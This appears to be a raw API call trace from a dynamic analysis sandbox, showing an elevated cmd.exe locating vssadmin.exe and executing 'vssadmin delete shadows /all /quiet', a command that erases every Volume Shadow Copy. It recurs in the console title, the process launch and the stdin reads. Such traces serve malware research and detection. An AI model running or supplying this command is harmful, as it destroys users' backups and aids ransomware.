	[0070.113] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x1bc) returned 0x256c8cc6c30
	[0070.113] GetProcessHeap () returned 0x256c8cc0000
	[0070.113] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x368) returned 0x256c8cd9040
	[0070.121] GetProcessHeap () returned 0x256c8cc0000
	[0070.121] RtlReAllocateHeap (Heap=0x256c8cc0000, Flags=0x0, Ptr=0x256c8cd9040, Size=0x1be) returned 0x256c8cd9040
	[0070.121] GetProcessHeap () returned 0x256c8cc0000
	[0070.121] RtlSizeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, MemoryPointer=0x256c8cd9040) returned 0x1be
	[0070.121] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0070.121] GetProcessHeap () returned 0x256c8cc0000
	[0070.121] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xe8) returned 0x256c8cc6e00
	[0070.122] GetProcessHeap () returned 0x256c8cc0000
	[0070.122] RtlReAllocateHeap (Heap=0x256c8cc0000, Flags=0x0, Ptr=0x256c8cc6e00, Size=0x7e) returned 0x256c8cc6e00
	[0070.122] GetProcessHeap () returned 0x256c8cc0000
	[0070.122] RtlSizeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, MemoryPointer=0x256c8cc6e00) returned 0x7e
	[0070.122] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0070.122] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xe8be8fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe8be8fefa0) returned 0xffffffffffffffff
	[0070.123] GetLastError () returned 0x2
	[0070.123] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0070.123] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xe8be8fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe8be8fefa0) returned 0xffffffffffffffff
	[0070.123] GetLastError () returned 0x2
	[0070.123] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0070.123] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xe8be8fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe8be8fefa0) returned 0x256c8cc6e90
	[0070.124] GetProcessHeap () returned 0x256c8cc0000
	[0070.124] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x0, Size=0x28) returned 0x256c8cc6ef0
	[0070.124] FindClose (in: hFindFile=0x256c8cc6e90 | out: hFindFile=0x256c8cc6e90) returned 1
	[0070.124] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xe8be8fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe8be8fefa0) returned 0xffffffffffffffff
	[0070.124] GetLastError () returned 0x2
	[0070.124] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xe8be8fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe8be8fefa0) returned 0x256c8cc6e90
	[0070.124] GetProcessHeap () returned 0x256c8cc0000
	[0070.124] RtlReAllocateHeap (Heap=0x256c8cc0000, Flags=0x0, Ptr=0x256c8cc6ef0, Size=0x8) returned 0x256c8cc6ef0
	[0070.124] FindClose (in: hFindFile=0x256c8cc6e90 | out: hFindFile=0x256c8cc6e90) returned 1
	[0070.124] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0070.125] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0070.125] ??_V@YAXPEAX@Z () returned 0x1
	[0070.125] GetConsoleTitleW (in: lpConsoleTitle=0xe8be8ff520, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0070.131] GetProcessHeap () returned 0x256c8cc0000
	[0070.131] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x21c) returned 0x256c8cd9210
	[0070.131] GetConsoleTitleW (in: lpConsoleTitle=0x256c8cd9220, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0070.134] GetProcessHeap () returned 0x256c8cc0000
	[0070.134] RtlReAllocateHeap (Heap=0x256c8cc0000, Flags=0x0, Ptr=0x256c8cd9210, Size=0xc2) returned 0x256c8cd9210
	[0070.134] GetProcessHeap () returned 0x256c8cc0000
	[0070.134] RtlSizeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, MemoryPointer=0x256c8cd9210) returned 0xc2
	[0070.134] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0070.140] GetProcessHeap () returned 0x256c8cc0000
	[0070.141] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cd9210) returned 1
	[0070.141] InitializeProcThreadAttributeList (in: lpAttributeList=0xe8be8ff440, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xe8be8ff330 | out: lpAttributeList=0xe8be8ff440, lpSize=0xe8be8ff330) returned 1
	[0070.141] UpdateProcThreadAttribute (in: lpAttributeList=0xe8be8ff440, dwFlags=0x0, Attribute=0x60001, lpValue=0xe8be8ff31c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xe8be8ff440, lpPreviousValue=0x0) returned 1
	[0070.141] GetStartupInfoW (in: lpStartupInfo=0xe8be8ff3d0 | out: lpStartupInfo=0xe8be8ff3d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x27c, hStdOutput=0x288, hStdError=0x288)) 
	[0070.141] GetProcessHeap () returned 0x256c8cc0000
	[0070.141] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x20) returned 0x256c8cc6e90
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0070.141] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0070.142] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0070.143] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0070.143] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0070.143] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0070.143] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0070.143] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0070.143] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0070.143] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0070.143] GetProcessHeap () returned 0x256c8cc0000
	[0070.143] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc6e90) returned 1
	[0070.143] GetProcessHeap () returned 0x256c8cc0000
	[0070.143] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x12) returned 0x256c8cc6f10
	[0070.143] _get_osfhandle (_FileHandle=1) returned 0x288
	[0070.143] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0
	[0070.143] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0070.143] SetConsoleMode (hConsoleHandle=0x27c, dwMode=0x0) returned 0
	[0070.143] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xe8be8ff360*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe8be8ff338 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0xe8be8ff338*(hProcess=0x98, hThread=0x94, dwProcessId=0xc58, dwThreadId=0x4d0)) returned 1
	[0072.284] CloseHandle (hObject=0x94) returned 1
	[0072.284] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0072.284] GetProcessHeap () returned 0x256c8cc0000
	[0072.284] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc8500) returned 1
	[0072.284] GetEnvironmentStringsW () returned 0x256c8cc84e0*
	[0072.284] GetProcessHeap () returned 0x256c8cc0000
	[0072.284] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xacc) returned 0x256c8cd9530
	[0072.284] FreeEnvironmentStringsA (penv="=") returned 1
	[0072.284] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000
	[0072.284] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0
	[0072.284] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xe8be8fe838, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xe8be8fe838, ReturnLength=0x0) returned 0x0
	[0072.284] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xa17fab7000, lpBuffer=0xe8be8fe870, nSize=0x7a0, lpNumberOfBytesRead=0xe8be8fe830 | out: lpBuffer=0xe8be8fe870*, lpNumberOfBytesRead=0xe8be8fe830*=0x7a0) returned 1
	[0072.284] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0
	[0086.562] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xe8be8ff2b8 | out: lpExitCode=0xe8be8ff2b8*=0x2) returned 1
	[0086.562] CloseHandle (hObject=0x98) returned 1
	[0086.562] _vsnwprintf (in: _Buffer=0xe8be8ff488, _BufferCount=0x13, _Format="%08X", _ArgList=0xe8be8ff2c8 | out: _Buffer="00000002") returned 8
	[0086.562] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0086.562] GetProcessHeap () returned 0x256c8cc0000
	[0086.562] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cd9530) returned 1
	[0086.562] GetEnvironmentStringsW () returned 0x256c8cd9530*
	[0086.563] GetProcessHeap () returned 0x256c8cc0000
	[0086.563] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xaf2) returned 0x256c8cda030
	[0086.563] FreeEnvironmentStringsA (penv="=") returned 1
	[0086.563] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0086.563] GetProcessHeap () returned 0x256c8cc0000
	[0086.563] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cda030) returned 1
	[0086.563] GetEnvironmentStringsW () returned 0x256c8cd9530*
	[0086.563] GetProcessHeap () returned 0x256c8cc0000
	[0086.563] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xaf2) returned 0x256c8cda030
	[0086.563] FreeEnvironmentStringsA (penv="=") returned 1
	[0086.563] GetProcessHeap () returned 0x256c8cc0000
	[0086.563] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc6f10) returned 1
	[0086.563] DeleteProcThreadAttributeList (in: lpAttributeList=0xe8be8ff440 | out: lpAttributeList=0xe8be8ff440) 
	[0086.563] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0086.569] ??_V@YAXPEAX@Z () returned 0x1
	[0086.569] _get_osfhandle (_FileHandle=1) returned 0x288
	[0086.569] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0
	[0086.569] _get_osfhandle (_FileHandle=1) returned 0x288
	[0086.569] GetConsoleMode (in: hConsoleHandle=0x288, lpMode=0x7ff7acb5fc08 | out: lpMode=0x7ff7acb5fc08) returned 0
	[0086.569] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.569] GetConsoleMode (in: hConsoleHandle=0x27c, lpMode=0x7ff7acb5fc0c | out: lpMode=0x7ff7acb5fc0c) returned 0
	[0086.569] GetConsoleOutputCP () returned 0x1b5
	[0086.570] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7acb5fbb0 | out: lpCPInfo=0x7ff7acb5fbb0) returned 1
	[0086.570] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0086.572] GetProcessHeap () returned 0x256c8cc0000
	[0086.572] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc6e00) returned 1
	[0086.572] GetProcessHeap () returned 0x256c8cc0000
	[0086.572] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cd9040) returned 1
	[0086.572] GetProcessHeap () returned 0x256c8cc0000
	[0086.572] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc6c30) returned 1
	[0086.572] GetProcessHeap () returned 0x256c8cc0000
	[0086.572] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cd8fd0) returned 1
	[0086.572] GetProcessHeap () returned 0x256c8cc0000
	[0086.572] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc83e0) returned 1
	[0086.572] GetProcessHeap () returned 0x256c8cc0000
	[0086.572] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc8fe0) returned 1
	[0086.572] GetProcessHeap () returned 0x256c8cc0000
	[0086.572] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc1850) returned 1
	[0086.572] GetProcessHeap () returned 0x256c8cc0000
	[0086.572] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc6a80) returned 1
	[0086.572] GetProcessHeap () returned 0x256c8cc0000
	[0086.572] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc8320) returned 1
	[0086.572] _vsnwprintf (in: _Buffer=0x7ff7acb67f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe8be8ff868 | out: _Buffer="\r\n") returned 2
	[0086.572] _get_osfhandle (_FileHandle=1) returned 0x288
	[0086.572] GetFileType (hFile=0x288) returned 0x3
	[0086.572] _get_osfhandle (_FileHandle=1) returned 0x288
	[0086.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0086.572] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe8be8ff838, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ff838*=0x2, lpOverlapped=0x0) returned 1
	[0086.573] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0086.573] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x256c8dc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0086.573] _vsnwprintf (in: _Buffer=0x256c8dd0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xe8be8ff878 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0086.573] _vsnwprintf (in: _Buffer=0x256c8dd008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xe8be8ff878 | out: _Buffer=">") returned 1
	[0086.573] _get_osfhandle (_FileHandle=1) returned 0x288
	[0086.573] GetFileType (hFile=0x288) returned 0x3
	[0086.573] _get_osfhandle (_FileHandle=1) returned 0x288
	[0086.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25
	[0086.573] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe8be8ff868, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ff868*=0x18, lpOverlapped=0x0) returned 1
	[0086.573] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.573] GetFileType (hFile=0x27c) returned 0x3
	[0086.573] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.573] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.573] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c30, cchWideChar=1 | out: lpWideCharStr="wssadmin delete shadows /all /quiet\n") returned 1
	[0086.573] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.573] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.573] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c32, cchWideChar=1 | out: lpWideCharStr="msadmin delete shadows /all /quiet\n") returned 1
	[0086.574] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.574] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1
	[0086.574] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.574] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c36, cchWideChar=1 | out: lpWideCharStr="cdmin delete shadows /all /quiet\n") returned 1
	[0086.574] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.574] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c38, cchWideChar=1 | out: lpWideCharStr=" min delete shadows /all /quiet\n") returned 1
	[0086.574] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.574] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c3a, cchWideChar=1 | out: lpWideCharStr="sin delete shadows /all /quiet\n") returned 1
	[0086.574] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.574] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c3c, cchWideChar=1 | out: lpWideCharStr="hn delete shadows /all /quiet\n") returned 1
	[0086.574] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.575] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c3e, cchWideChar=1 | out: lpWideCharStr="a delete shadows /all /quiet\n") returned 1
	[0086.575] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.575] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.575] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c40, cchWideChar=1 | out: lpWideCharStr="ddelete shadows /all /quiet\n") returned 1
	[0086.575] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.575] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.575] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
